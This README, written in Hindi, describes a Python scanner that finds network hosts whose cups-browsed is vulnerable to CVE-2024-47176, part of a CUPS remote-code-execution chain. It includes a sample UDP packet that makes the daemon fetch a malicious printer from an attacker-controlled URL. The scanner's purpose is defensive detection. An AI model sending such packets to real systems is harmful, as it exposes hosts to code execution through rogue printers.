
आपके नेटवर्क पर संवेदनशील cups-browsed इंस्टेंस की पहचान करने के लिए एक सरल स्कैनर
उदाहरण उपयोग: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS (कॉमन यूनिक्स प्रिंटिंग सिस्टम) UNIX और UNIX-जैसे सिस्टम पर प्रिंटरों को प्रबंधित और नियंत्रित करने के लिए एक ओपन-सोर्स फ्रेमवर्क है। यह प्रिंटिंग के लिए सबसे अधिक उपयोग किए जाने वाले लाइब्रेरी में से एक है और UNIX, Linux, और कुछ Apple डिवाइसों द्वारा समर्थित है।
CUPS में कई गंभीर भेद्यताएँ पाई गईं, जिन्हें एक साथ जोड़ने पर रिमोट कोड निष्पादन हो सकता है। प्रश्न में शामिल CVE हैं: CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177।
ये भेद्यताएँ रिमोट हमलावर को नेटवर्क प्रिंटर जोड़ने या पुनः कॉन्फ़िगर करने की अनुमति देती हैं, इस तरह कि जब उपयोगकर्ता उनसे प्रिंट करने का प्रयास करते हैं तो वे मनमाना कोड निष्पादित करेंगे।
इस श्रृंखला (chain) की पहली भेद्यता, CVE-2024-47176, cups-browsed डेमॉन में एक दोष है।
यह भेद्यता इस तथ्य से उत्पन्न होती है कि cups-browsed अपने नियंत्रण पोर्ट (UDP पोर्ट 631) को INADDR_ANY से बाँधता है, जिससे यह दुनिया के लिए खुला रहता है। चूँकि अनुरोध प्रमाणित (authenticated) नहीं होते, कोई भी व्यक्ति जो नियंत्रण पोर्ट तक पहुँच सकता है, cups-browsed को प्रिंटर डिस्कवरी करने का निर्देश दे सकता है।
ऐसे मामलों में जब पोर्ट इंटरनेट से पहुँच योग्य नहीं होता (फ़ायरवॉल या NAT के कारण), यह फिर भी स्थानीय नेटवर्क के माध्यम से पहुँच योग्य हो सकता है, जिससे विशेषाधिकार वृद्धि (privilege escalation) और पार्श्व संचलन (lateral movement) संभव होता है। इस कारण से, मैंने यह स्कैनर बनाया है जो आपके स्थानीय नेटवर्क में भेद्य cups-browsed इंस्टेंस की खोज के लिए डिज़ाइन किया गया है।
आम तौर पर, एक हमलावर शोषण (exploitation) प्रक्रिया को UDP पोर्ट 631 पर cups-browsed को एक विशेष रूप से तैयार अनुरोध भेजकर शुरू करेगा, जिससे वह उनके नियंत्रण वाले एक दुर्भावनापूर्ण URL तक पहुँच सके।
उदाहरण के लिए, निम्नलिखित युक्त एक UDP पैकेट: 0 3 http://<attacker_server>/printers/malicious_printer cups-browsed को http://<attacker_server>/printers/malicious_printer पर एक HTTP अनुरोध जारी करने के लिए ट्रिगर करेगा।
यदि URL किसी दुर्भावनापूर्ण प्रिंटर के रूप में प्रस्तुत होता है, तो यह रिमोट कोड निष्पादन प्राप्त करने के लिए बाकी CVEs को श्रृंखलाबद्ध कर सकता है।
इस तंत्र का उपयोग करके, हम किसी भेद्य cups-browsed इंस्टेंस को हमारे अपने सर्वर पर एक HTTP अनुरोध (कॉलबैक) जारी करने के लिए ट्रिगर कर सकते हैं, जिससे वह स्वयं को भेद्य बताए।
स्कैनिंग प्रक्रिया इस प्रकार है:
/printers/ एंडपॉइंट पर किसी भी POST अनुरोध को लॉग करें, जो भेद्य cups-browsed इंस्टेंस द्वारा ट्रिगर होते हैं।यह मानते हुए कि हमारा HTTP सर्वर 10.0.0.1:1337 पर होस्ट है, हमारा UDP पैकेट इस तरह दिखना चाहिए: 0 3 http://10.0.0.1:1337/printers/test1234
यह पायथन स्कैनर आपके लिए सब कुछ संभालता है (HTTP सर्वर और स्कैनिंग दोनों)।
स्क्रिप्ट निर्दिष्ट IP और पोर्ट पर http.server के माध्यम से एक अस्थायी HTTP सर्वर शुरू करती है, फिर निर्दिष्ट रेंज में हर IP पर UDP पैकेट बनाकर भेजती है। HTTP सर्वर स्वचालित रूप से भेद्य cups-browsed इंस्टेंस से कॉलबैक को कैप्चर करेगा और उन्हें डिस्क पर लॉग करेगा।
उपयोगकर्ता-अनुकूल लॉग logs/cups.log में लिखे जाते हैं और कच्चे HTTP अनुरोध logs/requests.log में लिखे जाते हैं।
--target
स्कैन करने के लिए CIDR(s). एकल CIDR या कॉमा द्वारा अलग किए गए कई CIDR हो सकते हैं।
--callback हमारे HTTP सर्वर को होस्ट करने के लिए स्थानीय IP और पोर्ट (टारगेट रेंज के माध्यम से पहुँच योग्य होना चाहिए)
--scan-unsafe डिफ़ॉल्ट रूप से हम केवल असाइन करने योग्य होस्ट पते स्कैन करते हैं (हम नेटवर्क एड्रेस और ब्रॉडकास्ट एड्रेस को छोड़ देते हैं)
कुछ मामलों में इन पतों को स्कैन करना वांछनीय हो सकता है, इसलिए इस व्यवहार को --scan-unsafe फ़्लैग के साथ ओवरराइड किया जा सकता है।
IP पते 10.0.0.1 से CIDR 10.0.0.0/24 स्कैन करना, कॉलबैक सर्वर को 1337 पर होस्ट करना:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
IP पते 10.0.0.1 से कई CIDRs स्कैन करना, कॉलबैक सर्वर को 1337 पर होस्ट करना:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
नोट: कॉलबैक सर्वर IP को स्कैन करने वाले होस्ट का होना चाहिए, और पोर्ट सभी टारगेट IPs से पहुँच योग्य होना चाहिए।
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
अधिक जानकारी के लिए देखें: आधिकारिक CUPS भेद्यता राइट-अप